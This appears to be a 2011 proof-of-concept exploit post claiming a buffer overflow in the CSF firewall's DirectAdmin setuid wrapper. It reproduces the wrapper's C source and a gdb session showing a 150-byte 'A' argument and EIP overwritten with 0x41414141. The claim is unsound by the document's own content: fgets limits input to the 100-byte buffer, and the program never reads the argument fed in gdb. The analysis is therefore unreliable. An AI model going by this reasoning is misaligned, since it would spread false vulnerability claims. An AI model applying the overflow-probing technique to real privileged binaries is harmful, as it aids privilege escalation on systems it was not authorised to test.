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108 lines
No EOL
3 KiB
C
108 lines
No EOL
3 KiB
C
/*
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############################################################################
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# Exploit Title: CSF Firewall Buffer overflow p0c
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# DownLoaD : http://www.configserver.com/free/csf.tgz
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# Date: 2011-12-09
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# Author: FoX HaCkEr
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# site : www.sec4ever.com
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# MaiL : Mkq@hotmail.com
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# Tested on: CentOS3/4
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############################################################################
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==============================================================================
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FiLe : CSF.c
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*/
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/*
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* Copyright 2006-2011, Way to the Web Limited
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* URL: http://www.configserver.com
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* Email: sales@waytotheweb.com
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*/
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#include <stdio.h>
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#include <sys/types.h>
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#include <unistd.h>
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#include <string.h>
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#include <pwd.h>
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main ()
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{
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FILE *adminFile;
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uid_t ruid;
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char name[100];
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struct passwd *pw;
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int admin = 0;
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ruid = getuid();
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pw = getpwuid(ruid);
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adminFile=fopen ("/usr/local/directadmin/data/admin/admin.list","r");
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while(fgets(name,100,adminFile) != NULL)
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{
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int end = strlen(name) - 1;
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if (end >= 0 && name[end] == '\n') name[end] = '\0';
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//printf("Name [%s]\n", name);
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if (strcmp(pw->pw_name, name) == 0) admin = 1;
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}
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fclose(adminFile);
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if (admin == 1)
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{
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setuid(0);
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setgid(0);
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//setegid(0);
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//seteuid(0);
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execv("/usr/local/directadmin/plugins/csf/exec/da_csf.cgi", NULL);
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} else {
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printf("Permission denied [User:%s UID:%d]\n", pw->pw_name, ruid);
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}
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return 0;
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}
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===========================================================================
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why buffer overflow ?
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Because char name[100];
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fgets()
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If we add more than what would be happening?
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Buffer OverFlow ^_^
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============================================================================
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(gdb) run `python -c 'print "\x41"*150'`
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Starting program: /root/csf `python -c 'print "\x41"*150'`
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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Program received signal SIGSEGV, Segmentation fault.
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0x41414141 in ?? ()
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(gdb) i r
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eax 0x0 0
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ecx 0xb7fc54e0 -1208199968
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edx 0xb7fc6360 -1208196256
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ebx 0xb7fc4ff4 -1208201228
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esp 0xbffff310 0xbffff310
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ebp 0x41414141 0x41414141
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esi 0x0 0
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edi 0x0 0
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eip 0x41414141 0x41414141
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eflags 0x10246 [ PF ZF IF RF ]
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cs 0x73 115
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ss 0x7b 123
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ds 0x7b 123
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es 0x7b 123
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fs 0x0 0
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gs 0x33 51
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(gdb) i r eip
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eip 0x41414141 0x41414141
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(gdb) i r eip esp
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eip 0x41414141 0x41414141
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esp 0xbffff310 0xbffff310
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(gdb)
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=========================================================================
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N0 ExpLoiT ScRipt KiiiD'z
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Gr33T'z : ALL My Friends .............. |